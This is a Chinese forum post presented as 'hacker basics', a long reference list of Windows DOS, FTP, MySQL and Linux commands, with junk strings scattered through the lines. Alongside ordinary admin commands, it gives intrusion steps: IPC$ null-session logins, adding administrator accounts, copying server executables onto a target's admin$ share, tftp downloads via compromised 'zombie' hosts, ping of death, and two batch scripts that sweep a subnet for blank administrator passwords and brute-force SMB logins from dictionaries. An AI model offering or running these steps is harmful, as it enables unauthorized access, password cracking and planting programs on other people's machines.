返回列表 发帖

黑客基础--最全的DOS命令

net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接
: M& R& G2 m/ c+ v, P* Z3 ~5 fnet use [url=file://\\ip\ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接 2 k0 Y+ {* _0 x
net use h: [url=file://\\ip\c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: & p$ j4 i* F4 t( ^, g8 W; r5 M
net use h: [url=file://\\ip\c$]\\ip\c$[/url] 登陆后映射对方C:到本地为H:
- a8 ]6 ~% ?. b/ [) c3 @' O( Y3 Qnet use [url=file://\\ip\ipc$]\\ip\ipc$[/url] /del 删除IPC链接
* P: y7 ~# n+ k2 G2 l) F& ^/ b' ]net use h: /del 删除映射对方到本地的为H:的映射
+ G' V: j* f; r6 l9 P: g9 _net user 用户名 密码 /add 建立用户
" n2 o. P' y6 i1 P% w7 s7 f. I# Cnet user guest /active:yes 激活guest用户 7 g1 ^# y# F4 d4 N3 L2 V9 l6 f8 Q
net user 查看有哪些用户
4 [+ i* v+ H1 G1 \net user 帐户名 查看帐户的属性
2 J5 f. b; {# E9 u0 Bnet localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
/ d/ o0 \$ J& Tnet start 查看开启了哪些服务 " L2 c( {% h' d/ N9 b' V' S7 W
net start 服务名  开启服务;(如:net start telnet, net start schedule) 6 \# T8 w7 u  d; q" |
net stop 服务名 停止某服务 5 i7 @) |' n, u( x
net time \\目标ip 查看对方时间 9 U, ~5 L& u( I
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 7 v2 r5 d/ Y. n
net view 查看本地局域网内开启了哪些共享 $ H" K, n  j! u2 y6 h6 A& V
net view [url=file://\\ip]\\ip[/url] 查看对方局域网内开启了哪些共享
8 z1 o$ \  o+ V- c9 Mnet config 显示系统网络设置
' M$ d! J) D3 r# B8 B8 Inet logoff 断开连接的共享
+ j$ n, H0 m$ @5 }/ u( D7 r: Q6 Vnet pause 服务名 暂停某服务
' B8 e8 R0 K7 p1 l% Cnet send ip "文本信息" 向对方发信息 6 `4 T( p, ]' ~3 x
net ver 局域网内正在使用的网络连接类型和信息
  f; g6 e' t* k7 Q" E/ I' \net share 查看本地开启的共享 6 ?4 _  k- h; z4 ?5 z9 M$ v
net share ipc$ 开启ipc$共享 ' U% C$ F8 V  j& X1 j
net share ipc$ /del 删除ipc$共享
% i  X3 }/ E- y% P" P9 l! b9 ?* Unet share c$ /del 删除C:共享
4 Z# P+ G4 ?+ O% g, c5 A; P/ Xnet user guest 12345 用guest用户登陆后用将密码改为12345
' |! a6 O" u" B  g. |5 fnet password 密码 更改系统登陆密码 2 J# v6 c* V7 Q4 a: f3 Q
netstat -a 查看开启了哪些端口,常用netstat -an 7 p9 g" t; f4 C5 Z8 n# R7 c/ n# e
netstat -n 查看端口的网络连接情况,常用netstat -an
$ }' l2 J  ]( J9 g! H" [- l% }netstat -v 查看正在进行的工作 0 H; \# J) ~( I) p5 k5 `
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) 5 Z* G. A7 `% C; C/ ?$ s2 G; M
netstat -s 查看正在使用的所有协议使用情况
# w, u/ W2 `: _+ E, onbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 5 r; k$ _( O. q9 V0 D0 w% P$ C! n
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 5 ]0 G% h+ |! Z8 {4 L, Z  T. v, T  t
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
; v) u6 L. c: C/ V( Hping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
, S1 K* p. n: ]ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
% l, |, Z! F( D( e  q/ O, Ytlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
7 k! |, r' O1 ?1 `2 W$ x4 akill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) # N; Z; u" T3 K$ L4 F! f( z" p
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
! x% I8 d+ K- N& }* n6 rdel /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
( Y+ F7 u+ D5 l$ \move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
; F( ]) M2 E# q; g% j/ efc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
0 t% q, p- X/ ]: ^6 _at id号 开启已php?name=%D7%A2%B2%E1"  class="t_tag">注册的某个计划任务
) O, {0 a4 ]9 ]4 i+ Bat /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 # b* C0 s9 t' F; x1 k0 E1 g
at id号 /delete 停止某个已注册的计划任务 : O! v( z, x8 K" k, ^
at 查看所有的计划任务 . R4 Q- u" g: {0 l
at [url=file://\\ip]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
: n: `  d% o1 s: Efinger username @host 查看最近有哪些用户登陆
$ N& j. L; h. ]3 H, T; G  Dtelnet ip 端口 远和登陆服务器,默认端口为23
; B1 F0 p- H9 d: K6 _open ip 连接到IP(属telnet登陆后的命令)
1 D8 B: \* ^& l' qtelnet 在本机上直接键入telnet 将进入本机的telnet
2 ~5 `: y- f3 x$ M6 jcopy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 1 z1 u) a5 N% L. T% o
copy c:\srv.exe [url=file://\\ip\admin$]\\ip\admin$[/url] 复制本地c:\srv.exe到对方的admin下
! \# ^2 ^2 C3 l6 u, V  Icppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
$ x5 E# w7 u/ }8 e/ Rcopy [url=file://\\ip\admin$\svv.exe]\\ip\admin$\svv.exe[/url] c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: 9 i% x5 f0 n9 P" a# @" ~
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 ! K* R* ?/ L+ g) m3 x( ^. F
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 ! E! y( S; g2 K5 [3 i
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机 ; Y$ {1 _4 F0 t: O7 T! E+ x
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) ! o8 p9 Y( i  M! \6 M/ f/ m5 O; c! _
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
2 H8 |7 q- @/ larp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
* c( o+ P3 O. K  i: f6 i" xstart 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
3 o9 X! @! }; _mem 查看cpu使用情况 $ u  m: l$ X# A8 i7 f" g" t
attrib 文件名(目录名) 查看某文件(目录)的属性
  k* e: s$ ^9 O2 Kattrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 # z$ q9 ~/ W0 q. U( x1 x( x! D4 f
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
+ G! h7 `: E' @date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 2 d4 I" W' k! R  ~( |
set 指定环境变量名称=要指派给变量的字符 设置环境变量 # h5 n6 D+ w4 r" ?
set 显示当前所有的环境变量 . R# ~2 Z6 k3 T2 `0 N
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
' j* P1 a4 J! z9 n- t9 Tpause 暂停批处理程序,并显示出:请按任意键继续....
, v4 v) v2 f& R/ H- ~  S2 i: oif 在批处理程序中执行条件处理(更多说明见if命令及变量) : i6 d4 m' x  k( G/ n
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
* t/ p! S0 W8 D+ Z9 V9 Dcall 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
! x! S1 P$ u8 u4 X8 nfor 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量) - a% ~4 j2 w3 \" x7 x
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 ) c5 X+ o0 G9 Y0 c) S2 e
echo 信息 在屏幕上显示出信息 / k8 Z, \5 v4 P
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
& Q8 u% n1 s  r1 efindstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello $ Q( S3 o# k7 @2 A
find 文件名 查找某文件
( C4 @8 [" ]4 X) Mtitle 标题名字 更改CMD窗口标题名字
2 b6 W, @+ b7 m% X* q) zcolor 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 1 H7 u+ g$ `  I7 p
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
: z! j1 [4 k4 n/ ]- a6 e6 Eprint 文件名 打印文本文件 + ^2 y0 D5 [# g, |
ver 在DOS窗口下显示版本信息   M6 Q0 r2 w) _; A
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
, s! u# t& @3 ^format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
& n+ T  v& `# Cmd 目录名 创建目录 8 z+ \9 T% u* `' w2 U
replace 源文件 要替换文件的目录 替换文件
) A+ G, Y9 e$ d. zren 原文件名 新文件名 重命名文件名
2 e+ f' v) S0 G, p+ e* itree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
' X- K% G/ r* k6 ntype 文件名 显示文本文件的内容
# j; U; f1 ]* \$ k# f( r0 imore 文件名 逐屏显示输出文件
: Z& @: F4 a5 y8 C; bdoskey 要锁定的命令=字符
0 C' _9 W2 S4 h; l" Gdoskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
/ X. `0 I9 T7 jtaskmgr 调出任务管理器 & P% Q. U. ?5 Z% p0 p
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
: ?" A" y/ M" h5 \* t9 g  D1 Otlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 ; a" s8 F3 N6 i4 j. x
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe 3 [5 m1 G/ Y% W! h0 t
path 路径\可执行文件的文件名 为可执行文件设置一个路径。 * H" a- r* q5 y9 d
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /? 8 O# @/ L3 l) q, p
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
  j# v$ V6 B$ b, Lregedit /e 注册表文件名 导出注册表
/ y% [. ^: D  A( @9 Scacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 # ^; o( s% M, q, g) w  R* s  z: m
cacls 文件名 查看文件的访问用户权限列表   J! t/ T& N, {' q/ P
REM 文本内容 在批处理文件中添加注解 ' B8 ?8 O& b. k" w. j3 r, [$ ~1 n
netsh 查看或更改本地网络配置情况
; x- X/ Y- J# q, o' R) cIIS服务命令:
& q. g  I% R$ W; K& z# D' ?iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现) ; Z9 C% q; c7 X
iisreset /start或stop 启动(停止)所有Internet服务
; C( w& L2 v2 f0 _. J1 ?& R$ Viisreset /restart 停止然后重新启动所有Internet服务
- d4 }, a  X, d  N5 jiisreset /status 显示所有Internet服务状态
' p7 i# v8 a1 giisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 7 X% j$ d2 y4 u4 ]  ~
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
$ Y% B  ?/ V- O9 ~iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
+ x3 ?: f2 b( U  X3 j2 N4 Wiisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
8 x. s0 Y6 B: j2 @3 R+ p: `2 d4 gFTP 命令: (后面有详细说明内容)
0 t# _5 B' e- G" Y) w: ?0 ~1 Q: D4 O- ?, Yftp的命令行格式为:
( q0 H7 d1 e/ j" l  lftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。- h" `- }9 t- [6 D6 L# a
-d 使用调试方式。
9 W) Z4 H+ W* I4 i1 s8 Y5 J( y7 o-n 限制ftp的自动登录,即不使用.netrc文件。
  I, n( A: f: K8 p8 X) Y-g 取消全局文件名。 + j8 n! f# X  f
help [命令] 或 ?[命令] 查看命令说明 * G0 j0 Y- e$ ]1 ?2 F* u) b( ~
bye 或 quit 终止主机FTP进程,并退出FTP管理方式. 4 _% G/ G9 |! U2 ?
pwd 列出当前远端主机目录
# Z3 {. i4 Z# d0 C, `5 W4 Qput 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 , V: k! G& C5 I: m8 a/ C( u3 x
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 ; m) C- w. y- g! m) f$ g
mget [remote-files] 从远端主机接收一批文件至本地主机
* @( Y. \& Z8 k5 K& C- v4 a0 Xmput local-files 将本地主机中一批文件传送至远端主机
# J" _- h1 ?, s- L, \: P- @8 @dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
! E* J: R- I" v! S' I3 Rascii 设定以ASCII方式传送文件(缺省值) ! |$ t& |. r- L# b
bin 或 image 设定以二进制方式传送文件 ( K" |3 e0 p! f+ g% ?0 D
bell 每完成一次文件传送,报警提示 6 v/ C# L# p# f' A" }/ X" ~
cdup 返回上一级目录 ) ?% _% K, \: N5 _8 Z0 r
close 中断与远程服务器的ftp会话(与open对应)
/ m/ `# S1 A+ H/ nopen host[port] 建立指定ftp服务器连接,可指定连接端口
$ w+ L4 m5 @3 rdelete 删除远端主机中的文件
( S" ~& v! T: C/ x! Z* N" Fmdelete [remote-files] 删除一批文件
* r& g" g# K- K! C; _mkdir directory-name 在远端主机中建立目录
7 J- i4 b. D) n4 W6 Frename [from] [to] 改变远端主机中的文件名
- ?5 W- _$ @/ V; C0 T, w4 R6 brmdir directory-name 删除远端主机中的目录 # j* q! T5 K6 A# H
status 显示当前FTP的状态 : s+ O' Q' I! `
system 显示远端主机系统类型
% n6 _4 m$ [- k7 L) B8 z; s# N6 Wuser user-name [password] [account] 重新以别的用户名登录远端主机
7 @# _& R+ P! j+ W7 _' S: z, Xopen host [port] 重新建立一个新的连接
6 L, R8 u  B# R' v4 q* ^prompt 交互提示模式
" ^- M5 ^: x1 W7 a2 q, y- Kmacdef 定义宏命令   a. w( w9 l- k4 o0 E) r& T
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
+ B6 M* `  w8 p4 y* z1 Vchmod 改变远端主机的文件权限
& Z& Q6 H+ w* k: T  Tcase 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
6 ]4 f7 P( @" l0 n  D5 Mcd remote-dir 进入远程主机目录 9 w5 x& K8 f+ j, Q* L: J( R8 Y. l
cdup 进入远程主机目录的父目录
% N# r3 F( _* ^" U, p! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip ) r% p! b! G# G$ Q! N0 I
MYSQL 命令:
$ _3 g4 L" m& ?% t6 M. @1 Z, ^mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
3 X; ^) a7 U" O6 v4 t. e3 |8 q7 B. N(例:mysql -h110.110.110.110 -Uroot -P123456
7 z! n! f' S! U( s: h注:u与root可以不用加空格,其它也一样)
, D% A; r3 P! N. A1 Eexit 退出MYSQL & V& Y2 g. }" X" m
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 3 U+ g3 r% K! R! b  B" c0 f
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)   [! @3 Q& v) K' l! `! o. s
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
! f9 V: j, `& c1 y- s. Q" {+ _' e1 Q' ouse mysql;
" H+ A( o) P7 C* J1 cshow tables; 显示库中的数据表
7 }3 m2 l- J& D% n7 [describe 表名; 显示数据表的结构 * s/ ?( `0 a+ s% X- n6 h( s6 H* p" z
create database 库名; 建库
- K# X; u9 q: E3 {4 D  |" S8 fuse 库名;
0 W0 L/ I! s! D: V9 ~create table 表名 (字段设定列表); 建表
3 h/ l5 J$ M/ _drop database 库名;
3 n# ~! m( R4 E& K) h1 S+ _drop table 表名; 删库和删表 ' Y( d$ r/ W8 H* _5 k
delete from 表名; 将表中记录清空
9 B, g6 Z+ r! j# i/ q& I8 d6 fselect * from 表名; 显示表中的记录
/ {. l' s7 n$ z! R- u2 R$ }mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的[url=file://\\mysql\\bin]\\mysql\\bin[/url]目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 / R3 s! c7 S) P" h- M. W
win2003系统下新增命令(实用部份):
4 N% r& Y4 O' e+ E' B9 S1 ~* _3 qshutdown /参数 关闭或重启本地或远程主机。2 H! Z3 l0 k% a% M
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。* a8 K: I  N6 g1 O( L3 E
例:shutdown /r /t 0 立即重启本地主机(无延时) % C& c( a: r; f* x! d; A9 b( V
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。1 Q: n0 e2 J( x/ v( L
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 % ~1 V, ?: h* E, Y: `  o
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。4 x  m& ?$ |8 P4 L$ V
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程- a$ ]: w) V: f7 d
Linux系统下基本命令: 要区分大小写. h  `, ~2 o* Z' \5 E% L* Y" h
uname 显示版本信息(同win2K的 ver)   s: s  y. U, ?
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir) 1 J7 h) e: N' C7 A, [$ ]1 ]% m
pwd 查询当前所在的目录位置
2 {  o6 u( ~: q; n, d5 p* Scd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
3 ]. [4 V2 k& p( hcat 文件名 查看文件内容
) t9 g5 }% ^6 e# v" {. ~3 R% icat >abc.txt 往abc.txt文件中写上内容。
9 D$ @: \$ }9 h- bmore 文件名 以一页一页的方式显示一个文本文件。
& M+ e4 A, l$ S# C  P5 B; A" xcp 复制文件
- E! [- b* o  V8 M& }' d2 t$ _mv 移动文件 4 G/ r9 D7 Q7 l: E0 ?0 q/ k+ x5 l( v
rm 文件名 删除文件,rm -a 目录名删除目录及子目录 ; {: t3 A7 D! F# ^" q  p  l3 \
mkdir 目录名 建立目录 ) D3 q8 ]4 z+ _) D" Z/ S7 M+ A
rmdir 删除子目录,目录内没有文档。 $ t* O1 K% G( V% W, O
chmod 设定档案或目录的存取权限
8 }' L) T9 H8 Z7 h  x; L) Tgrep 在档案中查找字符串 ; }7 X/ P, {7 G' _  ?
diff 档案文件比较
( J8 ~8 P5 b$ q$ Cfind 档案搜寻 ! R  A+ u. R1 ~  f) \
date 现在的日期、时间 $ j5 j$ c- T; }% }' l$ I! ~
who 查询目前和你使用同一台机器的人以及Login时间地点
0 V4 {( Y5 y0 T1 V+ t4 ^w 查询目前上机者的详细资料 ! X& d& N8 {( s! E
whoami 查看自己的帐号名称 ' w0 n! P, G: R0 h* a( x4 W8 B
groups 查看某人的Group
" D7 F. R1 h& n, M/ Hpasswd 更改密码
& ~! F  I6 r9 a$ A$ {' ~history 查看自己下过的命令
7 s  D8 V1 |& @+ m6 @5 T. pps 显示进程状态
" ~3 b% f9 B8 U" b6 jkill 停止某进程 # X& R& V) j0 b* k
gcc 黑客通常用它来编译C语言写的文件
2 ~& Z" b, V. M( x, @+ J8 Bsu 权限转换为指定使用者 / l" G, D' q6 e% D4 K  R
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
9 g% a4 j! o: t; Q8 s$ Gftp ftp连接上某服务器(同win2K
* j7 x2 ?* x6 _" Z+ G4 s4 i- B附:批处理命令与变量
* l" r) R' W) u, N0 F5 ^/ `1:for命令及变量 基本格式:
) }) t, g* |  ?( c  j0 bFOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。' a' L" e3 h  I) A5 v
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] pass /user:user 中ip为%1,pass为%2 ,user为%39 c& E3 _7 X: |% \! B7 B& ]
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}: Z5 a: O: Q9 l5 h
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
1 |+ G+ \0 L# O! A, U1 x: ecommand_parameters:为特定命令指定参数或命令行开关
' t/ Z$ e  Q0 J1 S6 G! B6 O9 OIN (set):指在(set)中取值;DO command :指执行command
4 l! V1 e+ B) r* g. |* l参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。 6 t- q0 X  m- X- [* l
用法举例:
6 Y! ?' F5 F( r@echo off
5 C/ x+ A. ~- A; {0 S. |echo 用法格式:test.bat *.*.* > test.txt
+ u; h: a% Y9 C* `0 ]1 A2 tfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use [url=file://\\%1.%%G]\\%1.%%G[/url] /user:administrator | find "命令成功完成" >>test.txt - F" Y% ^. T% Z
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
3 Q* x8 @" G0 Q4 |0 Q/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 + [; X% ~1 l* c/ V6 `
@echo off ) w0 ^& E3 H7 x/ x( I$ d
echo 用法格式:ok.bat ip
  v3 x% m4 d" Q/ {4 Z1 \FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 ! B  Q4 U" Q, t2 N0 }3 H! }( o
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
: F' H, J4 u7 |' I: p2:if命令及变量 基本格式:
0 U- G7 x5 S, }. P* zIF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
' C9 Q; G+ P4 u  ]! `7 I例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。! Q9 K, U9 B4 C( k. V/ K# H/ R
0 指发现并成功执行(真);1 指没有发现、没执行(假)。 ) y/ T' X- M& v5 I6 K! `; P
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
: a- d( E" P6 `* M) _例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ") & y, k0 g& O+ ]# ~; k3 K
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。' S4 v! a2 E. M; G
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。 0 F6 a& l1 N) W) |& c& y7 }/ b' b
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

返回列表
【捌玖网络】已经运行: